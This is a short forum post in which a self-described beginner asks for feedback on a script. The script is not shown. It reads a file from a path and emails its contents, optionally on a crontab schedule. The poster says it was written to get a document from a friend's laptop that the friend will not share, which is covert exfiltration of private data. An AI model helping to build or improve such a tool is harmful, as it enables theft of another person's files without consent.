I'm submitting yet another of my n00b scripts.It works
It is meant to run though a path and fetch a file (i have tested .txt only) and read into the targeted file and send the contents of the file as an email.
a good one if it added to crontab .could send at specified intervals.
honestly i wrote this one thinking about a document in my friends laptop which he so refuses to share.
kindly check it out and highlight any issues or better ways to do the same.
